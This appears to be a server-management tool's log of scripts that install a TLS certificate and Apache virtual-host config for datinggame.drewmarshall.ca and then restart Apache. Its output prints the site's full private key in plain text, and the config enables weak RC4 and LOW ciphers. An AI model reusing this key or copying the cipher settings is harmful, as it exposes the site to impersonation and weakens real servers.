qDeVmlanu9kCgYAkBfeoksT03jKnmlcsLXrhY6TpdL7WmtZGMNgIgSYyl0PwtpU/
w9gmUZJrPBaCSvwT7hRsnOcKDf7y9tPeN83SmQbQecnnsN8gG1waYY0zj7eB+8V1
GMqMo3nhNVNjTylqCaaQuKHc5dQU2BGjehvydC/7K+pL60CSiInJq/vDEQKBgQCu
2PFoS9hhi7hvMvaBH38x02VqvwsmDe3LpLEUan+QUzA/jVVv1ucpLKubsvBX7EFU
MnL3VVJ8EqaRmFtSzOIN0t8Y2ffFN0lY8UsJNRa47Tvs086AWixHr1M3EB+eklWZ
p5EHA35mqgPxIq7Fgir8+fjYI+WuPeQ8jE2ZiPvEeQKBgH309YTCmSN5nUgOKTPQ
AdyQum1QUI/UughIyzH4D8bCQ76DoJICHSrUGfmJYwZMPXcVPbniRgQMl0BRUylI
UTxpLvWM8DPya/yXzESS1oa3CFz4V4r8Ywuul1NWcykJqC2Ju+g+7py0eZl33uBp
GgPdLOkOcQ1rU56jZA1mEa3/
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-11-10 06:02:15:
chmod 755 /tmp/pkp906288; /tmp/pkp906288; rm /tmp/pkp906288
2025-11-10 06:02:15:
dir=/etc/ssl/certs
2025-11-10 06:02:15:
PUT: /tmp/pkp616475
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-11-10 06:02:15:
chmod 755 /tmp/pkp616475; /tmp/pkp616475; rm /tmp/pkp616475
2025-11-10 06:02:15:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf 50
<VirtualHost *:80>
ServerName datinggame.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_datinggame
<Directory /var/www/drewmarshall_datinggame>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/datinggame_access.log combined
ErrorLog /var/log/apache2/drewmarshall/datinggame_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName datinggame.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/23de9e4d8d79bf04b5d6fc34a21a5b07.crt
DocumentRoot /var/www/drewmarshall_datinggame
<Directory /var/www/drewmarshall_datinggame>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/datinggame_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/datinggame_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-10 06:02:15:
PUT: /tmp/pkp318279
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_datinggame_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName datinggame.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_datinggame
<Directory /var/www/drewmarshall_datinggame>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/datinggame_access.log combined
ErrorLog /var/log/apache2/drewmarshall/datinggame_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName datinggame.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/23de9e4d8d79bf04b5d6fc34a21a5b07.crt
DocumentRoot /var/www/drewmarshall_datinggame
<Directory /var/www/drewmarshall_datinggame>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/datinggame_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/datinggame_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf= 1'
fi
2025-11-10 06:02:15:
chmod 755 /tmp/pkp318279; /tmp/pkp318279; rm /tmp/pkp318279
2025-11-10 06:02:15:
2025-11-10 06:02:15:
PUT: /tmp/pkp577062
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-11-10 06:02:15:
chmod 755 /tmp/pkp577062; /tmp/pkp577062; rm /tmp/pkp577062
2025-11-10 06:02:16:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-10 06:02:16: Establishing a connection
2025-11-10 06:02:16:
PUT: /tmp/pkp877324
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-11-10 06:02:16:
chmod 755 /tmp/pkp877324; /tmp/pkp877324; rm /tmp/pkp877324
2025-11-10 06:02:16:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
alias www.bucketgigs.ca
port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
alias www.dgmarshall.ca
port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
alias www.dgmarshall.com
port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
alias www.drewmarshall.ca
port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
alias www.hillrunfarm.ca
port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
alias www.ineedtosaythis.com
port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
*:443 is a NameVirtualHost
default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
alias www.bucketgigs.ca
port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
alias www.dgmarshall.ca
port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
alias www.dgmarshall.com
port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
alias www.drewmarshall.ca
port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
alias www.hillrunfarm.ca
port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
alias www.ineedtosaythis.com
port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-10 06:02:16:
PUT: /tmp/pkp152653
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-10 06:02:16:
chmod 755 /tmp/pkp152653; /tmp/pkp152653; rm /tmp/pkp152653
2025-11-10 06:02:16:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf 1409
<VirtualHost *:80>
ServerName datinggame.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_datinggame
<Directory /var/www/drewmarshall_datinggame>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/datinggame_access.log combined
ErrorLog /var/log/apache2/drewmarshall/datinggame_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName datinggame.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/23de9e4d8d79bf04b5d6fc34a21a5b07.crt
DocumentRoot /var/www/drewmarshall_datinggame
<Directory /var/www/drewmarshall_datinggame>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/datinggame_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/datinggame_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-10 06:02:16:
PUT: /tmp/pkp925297
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/23de9e4d8d79bf04b5d6fc34a21a5b07.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-10 06:02:16:
chmod 755 /tmp/pkp925297; /tmp/pkp925297; rm /tmp/pkp925297
2025-11-10 06:02:16:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/23de9e4d8d79bf04b5d6fc34a21a5b07.crt 5377
65:25:31:95:1a:17:49:99:3f:74:98:e6:0a:c1:e4:20
-----BEGIN CERTIFICATE-----
MIIFDzCCA/egAwIBAgISBgy3n7JGja9bQZXKnbfHGW7SMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTEwMDUwMzQ0WhcNMjYwMjA4MDUwMzQzWjAlMSMwIQYDVQQD
ExpkYXRpbmdnYW1lLmRyZXdtYXJzaGFsbC5jYTCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAL91SXs3+h5RiZJmQG00oIVyJGNEDO/Ut8uLhOhgroo9f+2P
vdiYM8bTRW9C1oHZeKfjaEod/ZG3Z/t280T1It11lGH4y40S/XOnrrZ0AALt+GGq
KWabSFdIBclnhs5HF9bPQAbjzBvGbcacPMiG+r+2e/1gW3elE9pHUKfZKAZLn5Ic
RqNQnsHAJJ4SFNU9Hsd00AwQ3P3LOcizyu9OORuyuIq0zi6KDB0PfZa8hWMtulv2
f49C7SF7wRPhAVmUpp8EodWwA7a2q/Ylw1FiylZ9aUJwZLXxitS8rM7LBjm4DVIU
0M1Bk3J/cS5XpICfTIDiSUvuYV/pM2QqtZ8jqbECAwEAAaOCAikwggIlMA4GA1Ud
DwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0T
AQH/BAIwADAdBgNVHQ4EFgQU7KNi8IBDFfKheDPkznk/TaDyMUowHwYDVR0jBBgw
FoAU56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUF
BzAChhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzAlBgNVHREEHjAcghpkYXRpbmdn
YW1lLmRyZXdtYXJzaGFsbC5jYTATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8E
JzAlMCOgIaAfhh1odHRwOi8vcjEzLmMubGVuY3Iub3JnLzgzLmNybDCCAQMGCisG
AQQB1nkCBAIEgfQEgfEA7wB2ABmG1Mcoqm/+ugNveCpNAZGqzi1yMQ+uzl1wQS0l
TMfUAAABmmxbnMQAAAQDAEcwRQIgbagBKBS8FNohmxFqdUfcplnpN/zcQt/o1Bpg
bEIsxg4CIQDEybLwCSDxO6BhIEIF76B+DMx7neaHGsi6lNifQApNjgB1AA5XlLzz
rqk+MxssmQez95Dfm8I9cTIl3SGpJaxhxU4hAAABmmxbnMMAAAQDAEYwRAIgenJQ
CsgPuINkjWZS9KOH+6xl1ef8sJ0wW2ZVyfax988CIECN+IZJUxVK31ePWhcUOFiK
gUQqsyf2MO0/W/tW7/KDMA0GCSqGSIb3DQEBCwUAA4IBAQCJfBzup5Glk4YmEh7L
UsogjA6jxH1KlNBtfXrczttFGr+GnmC5268YwvCZ06d1rmlFJ6mvRtj0lbwodS+u
ATHZm3FTL9SIJ924wrQ3JEy4CFIA9tdBCPo7nbwVK1KgL6/5OxJtslu15HvYcA0Y
kwT+wQNB9EwmIE44GIkqeB4gHzRin1geeQ+DwVDhTF6ant7gs3EctHUNznfRcKfZ
9DuaXi3d1DN2xj7nkeF39i9EvbcriiwJc7aEokGkMYvPE+n+4y26Q8kEHShSDgLi
zoAoCM7t32h9cCAD3lfSfu6//0PhBdQQWUIc9VZWCsXIlIY+4VNnSYo8l/xFBNhh
CrDP
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC/dUl7N/oeUYmS
ZkBtNKCFciRjRAzv1LfLi4ToYK6KPX/tj73YmDPG00VvQtaB2Xin42hKHf2Rt2f7
dvNE9SLddZRh+MuNEv1zp662dAAC7fhhqilmm0hXSAXJZ4bORxfWz0AG48wbxm3G
nDzIhvq/tnv9YFt3pRPaR1Cn2SgGS5+SHEajUJ7BwCSeEhTVPR7HdNAMENz9yznI
s8rvTjkbsriKtM4uigwdD32WvIVjLbpb9n+PQu0he8ET4QFZlKafBKHVsAO2tqv2
JcNRYspWfWlCcGS18YrUvKzOywY5uA1SFNDNQZNyf3EuV6SAn0yA4klL7mFf6TNk
KrWfI6mxAgMBAAECggEBAL4USpy7qWV6XBPt0l7ZVdjGxpuKzzE4RjUd0hkHC6IR
hrWq9LdZ/GWUESZx/Bc0elZsLnkPJ1UI+oIsyT6YBUJK3sMZx7TKuridLJbVucEu
017bGnlVB1AoIB6h2rNm36MTZaSxek3FBe2d5bbMU5wMJzMZ/BVf3cLi9I9/x/3e
VO3FnefE+k4pFFlrzFCznvAf6GjZ7SODCW+Y+u3ipGFpidhwofObsfmOGISxk4be
rZer54OafbFzaxchnIVqj+6/P/qZyoKz+qRHroHWu8AfCW8jNPawNTHRa6S/Wtg8
HDpWBGAcnbjT47sHMmY5o7HJIq6rp81ZANEZ/+GNCkECgYEA4HWAhjeH2k1jGr+q
fAxwUoXTDEI1uabXq6rd6MKupufFY/+PnCNvkzJmcGkwGoR2jebLDgDFOD+yI0lU
e4m2W/lqAnLXfKLAf5kZTnYVchNy37VpNxwtHG3IVBjXLJpUDFdw8Wz0487C4FBh
P53Zp7NXjpOg+cIXzG2IyqSRbZkCgYEA2lykA/Ki/eDgTNwoUJ6HFlw52RA9S/I5
DgmOJ62iXBFFpsh5jdvJxdv49R5+oEaG900FE8h0WFyfgMSZ4LseB5DgTd0Bg1+m
8T8F4/0/j093nK0Kb34aXJ41Y+toMxhqt96vMX5AzfINCl6XHywWfqLlcCRIvI4W
qDeVmlanu9kCgYAkBfeoksT03jKnmlcsLXrhY6TpdL7WmtZGMNgIgSYyl0PwtpU/
w9gmUZJrPBaCSvwT7hRsnOcKDf7y9tPeN83SmQbQecnnsN8gG1waYY0zj7eB+8V1
GMqMo3nhNVNjTylqCaaQuKHc5dQU2BGjehvydC/7K+pL60CSiInJq/vDEQKBgQCu
2PFoS9hhi7hvMvaBH38x02VqvwsmDe3LpLEUan+QUzA/jVVv1ucpLKubsvBX7EFU
MnL3VVJ8EqaRmFtSzOIN0t8Y2ffFN0lY8UsJNRa47Tvs086AWixHr1M3EB+eklWZ
p5EHA35mqgPxIq7Fgir8+fjYI+WuPeQ8jE2ZiPvEeQKBgH309YTCmSN5nUgOKTPQ
AdyQum1QUI/UughIyzH4D8bCQ76DoJICHSrUGfmJYwZMPXcVPbniRgQMl0BRUylI
UTxpLvWM8DPya/yXzESS1oa3CFz4V4r8Ywuul1NWcykJqC2Ju+g+7py0eZl33uBp
GgPdLOkOcQ1rU56jZA1mEa3/
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-11-10 06:02:16: Establishing a connection
2025-11-10 06:02:17: Establishing a connection
2025-11-10 06:02:18:
PUT: /tmp/pkp183190
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-10 06:02:19:
chmod 755 /tmp/pkp183190; /tmp/pkp183190; rm /tmp/pkp183190
2025-11-10 06:02:19:
0
2025-11-10 06:02:19: Establishing a remote connection
2025-11-11 06:00:02: Establishing a connection
2025-11-11 06:00:03: Establishing a connection
2025-11-11 06:00:04:
